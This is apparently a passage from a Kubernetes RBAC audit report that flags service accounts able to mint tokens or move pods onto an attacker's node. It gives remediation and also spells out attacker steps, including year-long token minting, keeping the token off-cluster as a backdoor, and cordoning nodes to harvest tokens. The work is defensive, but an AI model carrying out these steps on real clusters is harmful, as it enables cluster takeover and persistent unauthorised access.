The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

  1. Attacker confirms the verb with kubectl auth can-i create serviceaccounts/token --as=sa-token-create -A.
  2. They enumerate high-privilege ServiceAccounts: kubectl get clusterrolebindings -o json | jq '.items[].subjects[]?.name' and pick one with cluster-admin, system:masters, or aggregated permissions.
  3. They mint a long-lived token via the TokenRequest API: kubectl create token <sa-name> -n <ns> --duration=8760h (1 year), or call /api/v1/namespaces/<ns>/serviceaccounts/<sa>/token directly.
  4. They kubectl --token=<jwt> get nodes and confirm the new identity.
  5. They cache the token off-cluster as a backdoor: rotating the original binding does NOT invalidate an issued token until its exp claim, which defaults to --service-account-max-token-expiration (often 1 year on legacy clusters).
Remediation
Remove create on serviceaccounts/token from non-control-plane identities; constrain any legitimate use with resourceNames to a tiny allowlist.
  1. Remove the verb. Outside kube-controller-manager and a small set of token-broker components, nothing should hold this.
  2. If a workload genuinely needs to mint tokens, scope with resourceNames to the exact ServiceAccounts it issues tokens for, never *.
  3. Enforce a low maximum token expiration cluster-wide via --service-account-max-token-expiration=1h on the API server (or the cloud equivalent).
  4. Capture every create on serviceaccounts/token at RequestResponse audit level and SIEM-alert on issuance to ServiceAccounts with cluster-admin/escalate/bind rights.
  5. Verify with kubectl auth can-i create serviceaccounts/token --as=sa-token-create -n kube-system returning no.
Evidence
ScopeCluster
API groupscore/v1
Resourcesserviceaccounts/token
serviceaccounts/token: Mint short-lived ServiceAccount tokens
Verbscreate
create: Create new objects of this resource
Source rolecr-token-create
Inspect: kubectl get clusterrole cr-token-create -o yaml
Source bindingcrb-token-create
Inspect: kubectl get clusterrolebinding crb-token-create -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "serviceaccounts/token"
  ],
  "scope": "cluster",
  "source_binding": "crb-token-create",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-token-create",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create"
  ]
}
HIGH ServiceAccount/cloud-eks-test/eks-token-minter Namespace 10.0
Namespace cloud-eks-test only create serviceaccounts/token enables token minting (ServiceAccount/cloud-eks-test/eks-token-minter)
Scope · Namespace Namespace cloud-eks-test only
Category: Privilege Escalation Subject: ServiceAccount/cloud-eks-test/eks-token-minter Resource: RBACRule/cloud-eks-test/eks-token-minter

Subject ServiceAccount/cloud-eks-test/eks-token-minter can create on the serviceaccounts/token subresource via RoleBinding cloud-eks-test/eks-token-minter → Role cloud-eks-test/eks-token-minter. Namespace cloud-eks-test only.

The TokenRequest API (Kubernetes 1.22+) is the canonical way to mint a JWT ServiceAccount token, and its create verb is gated by RBAC on the serviceaccounts/token subresource. Anyone holding this verb on a ServiceAccount can mint a token authenticated as that ServiceAccount.

Datadog Security Labs published a write-up on its abuse for persistence: an attacker mints a long-lived token for the highest-privileged ServiceAccount they can reach (commonly kube-system/clusterrole-aggregation-controller, which holds escalate on ClusterRoles), and uses that token as a backdoor that survives the original RBAC binding being removed. Crucially, this verb is NOT covered by 'list secrets' detections. TokenRequest tokens are NOT stored as Secret objects; they're issued live by the apiserver and never leave a footprint on disk.

Impact Mint a JWT for any ServiceAccount in Namespace cloud-eks-test only. Cluster-wide variant trivially yields cluster-admin (mint a kube-system controller token). Tokens persist after the original binding is revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueTokenRequest minting

The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

  1. Attacker confirms the verb with kubectl auth can-i create serviceaccounts/token --as=eks-token-minter -n cloud-eks-test.
  2. They enumerate high-privilege ServiceAccounts: kubectl get clusterrolebindings -o json | jq '.items[].subjects[]?.name' and pick one with cluster-admin, system:masters, or aggregated permissions.
  3. They mint a long-lived token via the TokenRequest API: kubectl create token <sa-name> -n <ns> --duration=8760h (1 year), or call /api/v1/namespaces/<ns>/serviceaccounts/<sa>/token directly.
  4. They kubectl --token=<jwt> get nodes and confirm the new identity.
  5. They cache the token off-cluster as a backdoor: rotating the original binding does NOT invalidate an issued token until its exp claim, which defaults to --service-account-max-token-expiration (often 1 year on legacy clusters).
Remediation
Remove create on serviceaccounts/token from non-control-plane identities; constrain any legitimate use with resourceNames to a tiny allowlist.
  1. Remove the verb. Outside kube-controller-manager and a small set of token-broker components, nothing should hold this.
  2. If a workload genuinely needs to mint tokens, scope with resourceNames to the exact ServiceAccounts it issues tokens for, never *.
  3. Enforce a low maximum token expiration cluster-wide via --service-account-max-token-expiration=1h on the API server (or the cloud equivalent).
  4. Capture every create on serviceaccounts/token at RequestResponse audit level and SIEM-alert on issuance to ServiceAccounts with cluster-admin/escalate/bind rights.
  5. Verify with kubectl auth can-i create serviceaccounts/token --as=eks-token-minter -n kube-system returning no.
Evidence
ScopeNamespace
Namespacecloud-eks-test
API groupscore/v1
Resourcesserviceaccounts/token
serviceaccounts/token: Mint short-lived ServiceAccount tokens
Verbscreate
create: Create new objects of this resource
Source roleeks-token-minter
Inspect: kubectl get role eks-token-minter -n cloud-eks-test -o yaml
Source bindingeks-token-minter
Inspect: kubectl get rolebinding eks-token-minter -n cloud-eks-test -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "cloud-eks-test",
  "resource_names": null,
  "resources": [
    "serviceaccounts/token"
  ],
  "scope": "namespace",
  "source_binding": "eks-token-minter",
  "source_binding_kind": "RoleBinding",
  "source_role": "eks-token-minter",
  "source_role_kind": "Role",
  "verbs": [
    "create"
  ]
}
HIGH ServiceAccount/foothold-fixtures/foothold-minter Namespace 9.0
Namespace foothold-fixtures only create serviceaccounts/token enables token minting (ServiceAccount/foothold-fixtures/foothold-minter)
Scope · Namespace Namespace foothold-fixtures only
Category: Privilege Escalation Subject: ServiceAccount/foothold-fixtures/foothold-minter Resource: RBACRule/foothold-fixtures/foothold-minter

Subject ServiceAccount/foothold-fixtures/foothold-minter can create on the serviceaccounts/token subresource via RoleBinding foothold-fixtures/foothold-minter → Role foothold-fixtures/foothold-minter. Namespace foothold-fixtures only.

The TokenRequest API (Kubernetes 1.22+) is the canonical way to mint a JWT ServiceAccount token, and its create verb is gated by RBAC on the serviceaccounts/token subresource. Anyone holding this verb on a ServiceAccount can mint a token authenticated as that ServiceAccount.

Datadog Security Labs published a write-up on its abuse for persistence: an attacker mints a long-lived token for the highest-privileged ServiceAccount they can reach (commonly kube-system/clusterrole-aggregation-controller, which holds escalate on ClusterRoles), and uses that token as a backdoor that survives the original RBAC binding being removed. Crucially, this verb is NOT covered by 'list secrets' detections. TokenRequest tokens are NOT stored as Secret objects; they're issued live by the apiserver and never leave a footprint on disk.

Impact Mint a JWT for any ServiceAccount in Namespace foothold-fixtures only. Cluster-wide variant trivially yields cluster-admin (mint a kube-system controller token). Tokens persist after the original binding is revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueTokenRequest minting

The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

  1. Attacker confirms the verb with kubectl auth can-i create serviceaccounts/token --as=foothold-minter -n foothold-fixtures.
  2. They enumerate high-privilege ServiceAccounts: kubectl get clusterrolebindings -o json | jq '.items[].subjects[]?.name' and pick one with cluster-admin, system:masters, or aggregated permissions.
  3. They mint a long-lived token via the TokenRequest API: kubectl create token <sa-name> -n <ns> --duration=8760h (1 year), or call /api/v1/namespaces/<ns>/serviceaccounts/<sa>/token directly.
  4. They kubectl --token=<jwt> get nodes and confirm the new identity.
  5. They cache the token off-cluster as a backdoor: rotating the original binding does NOT invalidate an issued token until its exp claim, which defaults to --service-account-max-token-expiration (often 1 year on legacy clusters).
Remediation
Remove create on serviceaccounts/token from non-control-plane identities; constrain any legitimate use with resourceNames to a tiny allowlist.
  1. Remove the verb. Outside kube-controller-manager and a small set of token-broker components, nothing should hold this.
  2. If a workload genuinely needs to mint tokens, scope with resourceNames to the exact ServiceAccounts it issues tokens for, never *.
  3. Enforce a low maximum token expiration cluster-wide via --service-account-max-token-expiration=1h on the API server (or the cloud equivalent).
  4. Capture every create on serviceaccounts/token at RequestResponse audit level and SIEM-alert on issuance to ServiceAccounts with cluster-admin/escalate/bind rights.
  5. Verify with kubectl auth can-i create serviceaccounts/token --as=foothold-minter -n kube-system returning no.
Evidence
ScopeNamespace
Namespacefoothold-fixtures
API groupscore/v1
Resourcesserviceaccounts/token
serviceaccounts/token: Mint short-lived ServiceAccount tokens
Verbscreate
create: Create new objects of this resource
Source rolefoothold-minter
Inspect: kubectl get role foothold-minter -n foothold-fixtures -o yaml
Source bindingfoothold-minter
Inspect: kubectl get rolebinding foothold-minter -n foothold-fixtures -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "foothold-fixtures",
  "resource_names": null,
  "resources": [
    "serviceaccounts/token"
  ],
  "scope": "namespace",
  "source_binding": "foothold-minter",
  "source_binding_kind": "RoleBinding",
  "source_role": "foothold-minter",
  "source_role_kind": "Role",
  "verbs": [
    "create"
  ]
}
HIGH

Pod removal + node manipulation can migrate workloads onto an attacker node

KUBE-PRIVESC-016 9 subjects Score 10.0
MITRE ATT&CK: T1610T1611T1078.004

Affected subjects (9)

HIGH ServiceAccount/cert-manager/cert-manager Cluster 10.0
Pod removal + node manipulation can migrate workloads onto an attacker node (ServiceAccount/cert-manager/cert-manager)
Scope · Cluster Cluster-wide: nodes and their scheduling are cluster-scoped resources
Category: Privilege Escalation Subject: ServiceAccount/cert-manager/cert-manager Resource: RBACRule/cluster-admin

Subject ServiceAccount/cert-manager/cert-manager can delete pods (via ClusterRoleBinding cutres-deputy-cm-admin → ClusterRole cluster-admin) and also update nodes/status (via ClusterRoleBinding cutres-deputy-cm-admin → ClusterRole cluster-admin). Cluster-wide: nodes and their scheduling are cluster-scoped resources.

Combined, these let an attacker steer where high-value pods run. On the node side, update/patch on nodes is what kubectl cordon (spec.unschedulable) and kubectl taint (spec.taints) send; a write to nodes/status can report a node NotReady, which makes the node lifecycle controller taint it until the kubelet reports again; and delete nodes removes a node outright. On the pod side, delete removes a pod, deletecollection removes every pod in scope at once, and create on pods/eviction evicts one through the Eviction API, which waits until the pod's PodDisruptionBudget allows it. Once the other nodes refuse new pods, the removed pods are rescheduled onto what is left. If the attacker controls (or can compromise) the remaining schedulable node, a sensitive pod (a controller, a pod with a privileged ServiceAccount, a pod that mounts secrets) lands where they can exec into it, read its mounted token, or sniff its traffic.

This is an indirect, scheduling-level escalation: neither verb reads a Secret or binds a role directly, but together they break the assumption that a workload stays on a trusted node. It is most dangerous in clusters with a mix of trusted and lower-trust nodes (spot/burst pools, tenant-dedicated nodes).

Impact Relocate sensitive pods onto a node the attacker controls by manipulating node scheduling and removing pods, then steal those pods' tokens or traffic from the node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMigrate pods onto an attacker node

A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

  1. Attacker confirms both halves with kubectl auth can-i delete pods --as=cert-manager -A and kubectl auth can-i update nodes/status --as=cert-manager -A.
  2. They make every node except one they control refuse new pods: kubectl cordon <n> or kubectl taint node <n> ... with a nodes write, a NotReady condition written through nodes/status, or kubectl delete node <n>, depending on which node grant they hold.
  3. They remove a sensitive pod (kubectl delete pod <target>, or an eviction through pods/eviction), forcing its controller to recreate it.
  4. The scheduler places the replacement pod on the attacker-controlled node.
  5. They exec into / inspect the relocated pod from the node, harvesting its ServiceAccount token and any mounted secrets.
Remediation
Split pod removal from node-scheduling verbs across identities; reserve writes to nodes and nodes/status, and delete nodes, for the control plane, the kubelet, and the cluster-autoscaler.
  1. Remove update/patch on nodes and nodes/status, and delete on nodes, from application/operator identities. These belong to the kube-controller-manager, the kubelet, and the autoscaler.
  2. Restrict delete/deletecollection on pods and create on pods/eviction to controllers and platform automation; application identities should manage workloads through their owning controller, not by removing pods.
  3. Pin sensitive workloads to trusted nodes with nodeSelector/nodeAffinity + taints, so eviction cannot relocate them onto untrusted nodes.
  4. Verify with kubectl auth can-i update nodes/status --as=cert-manager -A returning no.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcutres-deputy-cm-admin
Inspect: kubectl get clusterrolebinding cutres-deputy-cm-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "cutres-deputy-cm-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
HIGH ServiceAccount/cutres/cutres-detour Cluster 10.0
Pod removal + node manipulation can migrate workloads onto an attacker node (ServiceAccount/cutres/cutres-detour)
Scope · Cluster Cluster-wide: nodes and their scheduling are cluster-scoped resources
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-detour Resource: RBACRule/cluster-admin

Subject ServiceAccount/cutres/cutres-detour can delete pods (via ClusterRoleBinding cutres-detour-direct → ClusterRole cluster-admin) and also update nodes/status (via ClusterRoleBinding cutres-detour-direct → ClusterRole cluster-admin). Cluster-wide: nodes and their scheduling are cluster-scoped resources.

Combined, these let an attacker steer where high-value pods run. On the node side, update/patch on nodes is what kubectl cordon (spec.unschedulable) and kubectl taint (spec.taints) send; a write to nodes/status can report a node NotReady, which makes the node lifecycle controller taint it until the kubelet reports again; and delete nodes removes a node outright. On the pod side, delete removes a pod, deletecollection removes every pod in scope at once, and create on pods/eviction evicts one through the Eviction API, which waits until the pod's PodDisruptionBudget allows it. Once the other nodes refuse new pods, the removed pods are rescheduled onto what is left. If the attacker controls (or can compromise) the remaining schedulable node, a sensitive pod (a controller, a pod with a privileged ServiceAccount, a pod that mounts secrets) lands where they can exec into it, read its mounted token, or sniff its traffic.

This is an indirect, scheduling-level escalation: neither verb reads a Secret or binds a role directly, but together they break the assumption that a workload stays on a trusted node. It is most dangerous in clusters with a mix of trusted and lower-trust nodes (spot/burst pools, tenant-dedicated nodes).

Impact Relocate sensitive pods onto a node the attacker controls by manipulating node scheduling and removing pods, then steal those pods' tokens or traffic from the node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMigrate pods onto an attacker node

A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

  1. Attacker confirms both halves with kubectl auth can-i delete pods --as=cutres-detour -A and kubectl auth can-i update nodes/status --as=cutres-detour -A.
  2. They make every node except one they control refuse new pods: kubectl cordon <n> or kubectl taint node <n> ... with a nodes write, a NotReady condition written through nodes/status, or kubectl delete node <n>, depending on which node grant they hold.
  3. They remove a sensitive pod (kubectl delete pod <target>, or an eviction through pods/eviction), forcing its controller to recreate it.
  4. The scheduler places the replacement pod on the attacker-controlled node.
  5. They exec into / inspect the relocated pod from the node, harvesting its ServiceAccount token and any mounted secrets.
Remediation
Split pod removal from node-scheduling verbs across identities; reserve writes to nodes and nodes/status, and delete nodes, for the control plane, the kubelet, and the cluster-autoscaler.
  1. Remove update/patch on nodes and nodes/status, and delete on nodes, from application/operator identities. These belong to the kube-controller-manager, the kubelet, and the autoscaler.
  2. Restrict delete/deletecollection on pods and create on pods/eviction to controllers and platform automation; application identities should manage workloads through their owning controller, not by removing pods.
  3. Pin sensitive workloads to trusted nodes with nodeSelector/nodeAffinity + taints, so eviction cannot relocate them onto untrusted nodes.
  4. Verify with kubectl auth can-i update nodes/status --as=cutres-detour -A returning no.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcutres-detour-direct
Inspect: kubectl get clusterrolebinding cutres-detour-direct -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "cutres-detour-direct",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
HIGH ServiceAccount/cutres/cutres-parallel Cluster 10.0
Pod removal + node manipulation can migrate workloads onto an attacker node (ServiceAccount/cutres/cutres-parallel)
Scope · Cluster Cluster-wide: nodes and their scheduling are cluster-scoped resources
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-parallel Resource: RBACRule/cluster-admin

Subject ServiceAccount/cutres/cutres-parallel can delete pods (via ClusterRoleBinding cutres-parallel-a → ClusterRole cluster-admin) and also update nodes/status (via ClusterRoleBinding cutres-parallel-a → ClusterRole cluster-admin). Cluster-wide: nodes and their scheduling are cluster-scoped resources.

Combined, these let an attacker steer where high-value pods run. On the node side, update/patch on nodes is what kubectl cordon (spec.unschedulable) and kubectl taint (spec.taints) send; a write to nodes/status can report a node NotReady, which makes the node lifecycle controller taint it until the kubelet reports again; and delete nodes removes a node outright. On the pod side, delete removes a pod, deletecollection removes every pod in scope at once, and create on pods/eviction evicts one through the Eviction API, which waits until the pod's PodDisruptionBudget allows it. Once the other nodes refuse new pods, the removed pods are rescheduled onto what is left. If the attacker controls (or can compromise) the remaining schedulable node, a sensitive pod (a controller, a pod with a privileged ServiceAccount, a pod that mounts secrets) lands where they can exec into it, read its mounted token, or sniff its traffic.

This is an indirect, scheduling-level escalation: neither verb reads a Secret or binds a role directly, but together they break the assumption that a workload stays on a trusted node. It is most dangerous in clusters with a mix of trusted and lower-trust nodes (spot/burst pools, tenant-dedicated nodes).

Impact Relocate sensitive pods onto a node the attacker controls by manipulating node scheduling and removing pods, then steal those pods' tokens or traffic from the node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMigrate pods onto an attacker node

A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

  1. Attacker confirms both halves with kubectl auth can-i delete pods --as=cutres-parallel -A and kubectl auth can-i update nodes/status --as=cutres-parallel -A.
  2. They make every node except one they control refuse new pods: kubectl cordon <n> or kubectl taint node <n> ... with a nodes write, a NotReady condition written through nodes/status, or kubectl delete node <n>, depending on which node grant they hold.
  3. They remove a sensitive pod (kubectl delete pod <target>, or an eviction through pods/eviction), forcing its controller to recreate it.
  4. The scheduler places the replacement pod on the attacker-controlled node.
  5. They exec into / inspect the relocated pod from the node, harvesting its ServiceAccount token and any mounted secrets.
Remediation
Split pod removal from node-scheduling verbs across identities; reserve writes to nodes and nodes/status, and delete nodes, for the control plane, the kubelet, and the cluster-autoscaler.
  1. Remove update/patch on nodes and nodes/status, and delete on nodes, from application/operator identities. These belong to the kube-controller-manager, the kubelet, and the autoscaler.
  2. Restrict delete/deletecollection on pods and create on pods/eviction to controllers and platform automation; application identities should manage workloads through their owning controller, not by removing pods.
  3. Pin sensitive workloads to trusted nodes with nodeSelector/nodeAffinity + taints, so eviction cannot relocate them onto untrusted nodes.
  4. Verify with kubectl auth can-i update nodes/status --as=cutres-parallel -A returning no.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcutres-parallel-a
Inspect: kubectl get clusterrolebinding cutres-parallel-a -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "cutres-parallel-a",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
HIGH ServiceAccount/deepchain-tenant/deepchain-privileged Cluster 10.0
Pod removal + node manipulation can migrate workloads onto an attacker node (ServiceAccount/deepchain-tenant/deepchain-privileged)
Scope · Cluster Cluster-wide: nodes and their scheduling are cluster-scoped resources
Category: Privilege Escalation Subject: ServiceAccount/deepchain-tenant/deepchain-privileged Resource: RBACRule/cluster-admin

Subject ServiceAccount/deepchain-tenant/deepchain-privileged can delete pods (via ClusterRoleBinding deepchain-privileged → ClusterRole cluster-admin) and also update nodes/status (via ClusterRoleBinding deepchain-privileged → ClusterRole cluster-admin). Cluster-wide: nodes and their scheduling are cluster-scoped resources.

Combined, these let an attacker steer where high-value pods run. On the node side, update/patch on nodes is what kubectl cordon (spec.unschedulable) and kubectl taint (spec.taints) send; a write to nodes/status can report a node NotReady, which makes the node lifecycle controller taint it until the kubelet reports again; and delete nodes removes a node outright. On the pod side, delete removes a pod, deletecollection removes every pod in scope at once, and create on pods/eviction evicts one through the Eviction API, which waits until the pod's PodDisruptionBudget allows it. Once the other nodes refuse new pods, the removed pods are rescheduled onto what is left. If the attacker controls (or can compromise) the remaining schedulable node, a sensitive pod (a controller, a pod with a privileged ServiceAccount, a pod that mounts secrets) lands where they can exec into it, read its mounted token, or sniff its traffic.

This is an indirect, scheduling-level escalation: neither verb reads a Secret or binds a role directly, but together they break the assumption that a workload stays on a trusted node. It is most dangerous in clusters with a mix of trusted and lower-trust nodes (spot/burst pools, tenant-dedicated nodes).

Impact Relocate sensitive pods onto a node the attacker controls by manipulating node scheduling and removing pods, then steal those pods' tokens or traffic from the node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMigrate pods onto an attacker node

A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

  1. Attacker confirms both halves with kubectl auth can-i delete pods --as=deepchain-privileged -A and kubectl auth can-i update nodes/status --as=deepchain-privileged -A.
  2. They make every node except one they control refuse new pods: kubectl cordon <n> or kubectl taint node <n> ... with a nodes write, a NotReady condition written through nodes/status, or kubectl delete node <n>, depending on which node grant they hold.
  3. They remove a sensitive pod (kubectl delete pod <target>, or an eviction through pods/eviction), forcing its controller to recreate it.
  4. The scheduler places the replacement pod on the attacker-controlled node.
  5. They exec into / inspect the relocated pod from the node, harvesting its ServiceAccount token and any mounted secrets.
Remediation
Split pod removal from node-scheduling verbs across identities; reserve writes to nodes and nodes/status, and delete nodes, for the control plane, the kubelet, and the cluster-autoscaler.
  1. Remove update/patch on nodes and nodes/status, and delete on nodes, from application/operator identities. These belong to the kube-controller-manager, the kubelet, and the autoscaler.
  2. Restrict delete/deletecollection on pods and create on pods/eviction to controllers and platform automation; application identities should manage workloads through their owning controller, not by removing pods.
  3. Pin sensitive workloads to trusted nodes with nodeSelector/nodeAffinity + taints, so eviction cannot relocate them onto untrusted nodes.
  4. Verify with kubectl auth can-i update nodes/status --as=deepchain-privileged -A returning no.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingdeepchain-privileged
Inspect: kubectl get clusterrolebinding deepchain-privileged -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "deepchain-privileged",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
HIGH ServiceAccount/flux-system/kustomize-controller Cluster 10.0
Pod removal + node manipulation can migrate workloads onto an attacker node (ServiceAccount/flux-system/kustomize-controller)
Scope · Cluster Cluster-wide: nodes and their scheduling are cluster-scoped resources
Category: Privilege Escalation Subject: ServiceAccount/flux-system/kustomize-controller Resource: RBACRule/cluster-admin

Subject ServiceAccount/flux-system/kustomize-controller can delete pods (via ClusterRoleBinding deepchain-flux-admin → ClusterRole cluster-admin) and also update nodes/status (via ClusterRoleBinding deepchain-flux-admin → ClusterRole cluster-admin). Cluster-wide: nodes and their scheduling are cluster-scoped resources.

Combined, these let an attacker steer where high-value pods run. On the node side, update/patch on nodes is what kubectl cordon (spec.unschedulable) and kubectl taint (spec.taints) send; a write to nodes/status can report a node NotReady, which makes the node lifecycle controller taint it until the kubelet reports again; and delete nodes removes a node outright. On the pod side, delete removes a pod, deletecollection removes every pod in scope at once, and create on pods/eviction evicts one through the Eviction API, which waits until the pod's PodDisruptionBudget allows it. Once the other nodes refuse new pods, the removed pods are rescheduled onto what is left. If the attacker controls (or can compromise) the remaining schedulable node, a sensitive pod (a controller, a pod with a privileged ServiceAccount, a pod that mounts secrets) lands where they can exec into it, read its mounted token, or sniff its traffic.

This is an indirect, scheduling-level escalation: neither verb reads a Secret or binds a role directly, but together they break the assumption that a workload stays on a trusted node. It is most dangerous in clusters with a mix of trusted and lower-trust nodes (spot/burst pools, tenant-dedicated nodes).

Impact Relocate sensitive pods onto a node the attacker controls by manipulating node scheduling and removing pods, then steal those pods' tokens or traffic from the node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMigrate pods onto an attacker node

A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

  1. Attacker confirms both halves with kubectl auth can-i delete pods --as=kustomize-controller -A and kubectl auth can-i update nodes/status --as=kustomize-controller -A.
